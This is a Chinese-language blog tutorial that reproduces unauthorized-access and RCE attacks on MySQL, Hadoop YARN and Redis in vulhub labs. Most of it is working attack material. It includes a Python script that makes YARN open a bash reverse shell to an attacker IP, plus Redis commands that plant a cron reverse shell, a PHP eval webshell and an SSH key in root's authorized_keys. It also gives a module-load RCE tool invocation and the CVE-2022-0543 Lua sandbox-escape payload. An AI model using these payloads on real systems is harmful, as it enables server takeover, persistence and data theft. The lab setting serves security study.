数据库安全-RedisHadoopMysql未授权访问RCE

2023-10-13 20:28

本文主要是介绍数据库安全-RedisHadoopMysql未授权访问RCE,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

  • 数据库安全-&Redis&Hadoop&Mysql&未授权访问&RCE
    • 定义
    • 漏洞复现
      • Mysql-CVE-2012-2122 漏洞
      • Hadoop-配置不当未授权三重奏&RCE 漏洞
    • Redis-未授权访问-Webshell&任务&密匙&RCE 等
      • 漏洞定义:
      • 漏洞成因
      • 漏洞危害
      • 漏洞复现
        • Redis-未授权访问-Webshell&定时任务&密匙&RCE
        • redis命令执行(RCE)
        • redis沙箱绕过(CVE-2022-0543)

数据库安全-&Redis&Hadoop&Mysql&未授权访问&RCE

定义

未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露,包括端口的未授权常见页面的未授权 /admin.php /menu.php

常见的未授权访问漏洞及默认端口:
默认端口统计:

[21, 139, 873, 2049, 2181, 2182, 2375, 5601, 5672, 5900, 5901, 5984, 6379, 6443, 8080, 8088,
8095, 8161, 9100, 9200, 9300, 11211, 15672, 15692, 20048, 25672, 27017]等待

漏洞复现

Mysql-CVE-2012-2122 漏洞

靶场环境:vulhub

image-20231013153406487

开启环境,执行payload:

通过循环,不断发送登录请求:

for i in `seq 1 1000`; do mysql -uroot -pwrong -h you-ip -P3306 ; done 

执行等待过后,会直接进入到数据库当中:

image-20231013153545715

成功进入:

image-20231013153607643

Hadoop-配置不当未授权三重奏&RCE 漏洞

靶场环境:vulhub

image-20231013155608954

打开进入环境:

image-20231013155700044

payload:

#!/usr/bin/env pythonimport requeststarget = 'http://192.168.100.134:8088/'
lhost = '192.168.100.1' # put your local host ip here, and listen at port 9999url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,},},'application-type': 'YARN',
}
requests.post(url, json=data)

攻击端开启监听:

nc -lvvp 9999

image-20231013155939650

执行python脚本:

成功反弹

image-20231013160032398

可执行命令:

image-20231013160100075

Redis-未授权访问-Webshell&任务&密匙&RCE 等

redis是一个非常快速的,开源的、支持网络、可基于内存亦可持久化的日志型、非关系类型的数据库;

提供多种语言的 API,java/c/c++/c#/php/javascript/

漏洞定义:

redis未授权访问漏洞是一个有域redis服务器版本较低其未设置登录密码导致的漏洞,攻击者可直接利用redis服务器的IP地址和端口完成redis服务器的远程登录,对目标服务器完成后续的控制和利用。

漏洞成因

1.redis版本 4.x/5.0.5或以前的版本

2.redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则,避免其他飞信人来源IP访问等相关安全策略,直接暴露在公网。

3.没有设置密码认证(一般为空),可以免密码远程登录redis服务。

漏洞危害

攻击者可通过redis命令向目标服务器写入计划任务来反弹shell,完成服务器的控制攻击者可通过redis命令向网站目录写入webshell,完成对目标网站服务器的初步控制最严重,如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

漏洞复现

Redis-未授权访问-Webshell&定时任务&密匙&RCE

漏洞验证:

验证思路:

未授权访问漏洞的本质就是不需要用户密码就可以完成服务器的登录,所以验证思路很简单,只要能使用攻击机无密码登录目标服务器,漏洞就存在。

服务端,开启redis服务

攻击机器:redis-cli -h IP 连接redis服务器

登录之后输入info,出现内容证明验证成功

漏洞利用:

漏洞利用方式
1、写计划任务反弹shell
利用过程
目标:运行redis服务器
攻击:连接redis服务器利用攻击机将计划任务写进服务器
config set dir /var/spool/cron  //写入的目录  计划文件夹
config set dbfilename root     //写入的文件名,自定义命名即可
set ssr "\n\n*/1****/bin/bash -i > & /dev/tcp/攻击IP/1234 0>&1\n\n"
//写入的内容
save  //保存攻击机:
执行 nc -lvvp 1234   稍等片刻   黑客机接收到目标机的shell 
使用crontab -l 可查看目标机器原来写入的计划任务2、写webshell
config set dir /var/www/html
config set dbfilename shell.php
set webshell "<?php  @eval($_POST['cmd']); ?>"	//webshell后门
save3、写SSH公钥实现登录
1)攻击机和靶机打开SSH服务
命令:systemctl start ssh(没有的话用apt命令安装或yum安装)2)在目标机创建SSH公钥可写目录
命令:mkdir /root/.ssh   //ls -al 进行查看是否创建成功3)清空攻击机/root/.ssh目录下的文件,方便区分一会要生成并存放进其中的SSH公钥文件
命令:rm -rf *4)在攻击机生成SSH公钥(需要连续敲击三下回车)
命令:ssh-keygen -t rsa5)在攻击机上切换至公钥存放目录:
命令:cd /root/.ssh6)将公钥写入1.txt(前后用\n,避免和redis里其他缓存数据混合,不用会一直失败)
(echo -e "\n\n";cat id_rsa.pub;echo -e"\n\n") > 1.txt将1.txt的文本内容带入登录目标机redis服务器的过程中,后续可以直接在目标机上设置目标文件并写入 
命令:
cat 1.txt | redis-cli -h 目标IP -x set crack 	//将1.txt的内容设置为crack(设置的名称),命名自定义即可使用redis-cli -h 目标IP 连接目标机器并执行以下命令将本地SSH公钥写入目标机
config set dir /root/.ssh
config get dir
config set dbfilename authorized_keys
save
在攻击机使用ssh免密登录
cd /root/.ssh
ssh -i id_rsa root@目标IP
redis命令执行(RCE)

靶场环境:vulhub

image-20231013162258650

开启环境并进入验证,输入info并执行,说明存在未授权:

image-20231013162227907

自动化工具使用:

直接使用,直接干

工具地址

payload:
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "whoami"//还可将命令换成反弹shell命令,进行反弹。

执行结果:

image-20231013163059983

image-20231013163119547

换一条命令再次尝试:

whoami

image-20231013163148899

成功执行命令。

还可以将命令换成反弹shell命令,进行一个反弹。

redis沙箱绕过(CVE-2022-0543)

靶场环境:vulhub

image-20231013171127037

打开进入环境

payload:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0//也可以换成反弹shell命令,进行一个反弹

执行结果:

image-20231013172043876

这篇关于数据库安全-RedisHadoopMysql未授权访问RCE的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/205667

相关文章

本地搭建DeepSeek-R1、WebUI的完整过程及访问

《本地搭建DeepSeek-R1、WebUI的完整过程及访问》:本文主要介绍本地搭建DeepSeek-R1、WebUI的完整过程及访问的相关资料,DeepSeek-R1是一个开源的人工智能平台,主... 目录背景       搭建准备基础概念搭建过程访问对话测试总结背景       最近几年,人工智能技术

Ollama整合open-webui的步骤及访问

《Ollama整合open-webui的步骤及访问》:本文主要介绍如何通过源码方式安装OpenWebUI,并详细说明了安装步骤、环境要求以及第一次使用时的账号注册和模型选择过程,需要的朋友可以参考... 目录安装环境要求步骤访问选择PjrIUE模型开始对话总结 安装官方安装地址:https://docs.

解读静态资源访问static-locations和static-path-pattern

《解读静态资源访问static-locations和static-path-pattern》本文主要介绍了SpringBoot中静态资源的配置和访问方式,包括静态资源的默认前缀、默认地址、目录结构、访... 目录静态资源访问static-locations和static-path-pattern静态资源配置

Java访问修饰符public、private、protected及默认访问权限详解

《Java访问修饰符public、private、protected及默认访问权限详解》:本文主要介绍Java访问修饰符public、private、protected及默认访问权限的相关资料,每... 目录前言1. public 访问修饰符特点:示例:适用场景:2. private 访问修饰符特点:示例:

Python 标准库time时间的访问和转换问题小结

《Python标准库time时间的访问和转换问题小结》time模块为Python提供了处理时间和日期的多种功能,适用于多种与时间相关的场景,包括获取当前时间、格式化时间、暂停程序执行、计算程序运行时... 目录模块介绍使用场景主要类主要函数 - time()- sleep()- localtime()- g

使用Python实现批量访问URL并解析XML响应功能

《使用Python实现批量访问URL并解析XML响应功能》在现代Web开发和数据抓取中,批量访问URL并解析响应内容是一个常见的需求,本文将详细介绍如何使用Python实现批量访问URL并解析XML响... 目录引言1. 背景与需求2. 工具方法实现2.1 单URL访问与解析代码实现代码说明2.2 示例调用

关于Java内存访问重排序的研究

《关于Java内存访问重排序的研究》文章主要介绍了重排序现象及其在多线程编程中的影响,包括内存可见性问题和Java内存模型中对重排序的规则... 目录什么是重排序重排序图解重排序实验as-if-serial语义内存访问重排序与内存可见性内存访问重排序与Java内存模型重排序示意表内存屏障内存屏障示意表Int

SpringBoot实现基于URL和IP的访问频率限制

《SpringBoot实现基于URL和IP的访问频率限制》在现代Web应用中,接口被恶意刷新或暴力请求是一种常见的攻击手段,为了保护系统资源,需要对接口的访问频率进行限制,下面我们就来看看如何使用... 目录1. 引言2. 项目依赖3. 配置 Redis4. 创建拦截器5. 注册拦截器6. 创建控制器8.

SpringBoot如何访问jsp页面

《SpringBoot如何访问jsp页面》本文介绍了如何在SpringBoot项目中进行Web开发,包括创建项目、配置文件、添加依赖、控制层修改、测试效果以及在IDEA中进行配置的详细步骤... 目录SpringBoot如何访问JSP页python面简介实现步骤1. 首先创建的项目一定要是web项目2. 在

Linux限制ip访问的解决方案

《Linux限制ip访问的解决方案》为了修复安全扫描中发现的漏洞,我们需要对某些服务设置访问限制,具体来说,就是要确保只有指定的内部IP地址能够访问这些服务,所以本文给大家介绍了Linux限制ip访问... 目录背景:解决方案:使用Firewalld防火墙规则验证方法深度了解防火墙逻辑应用场景与扩展背景: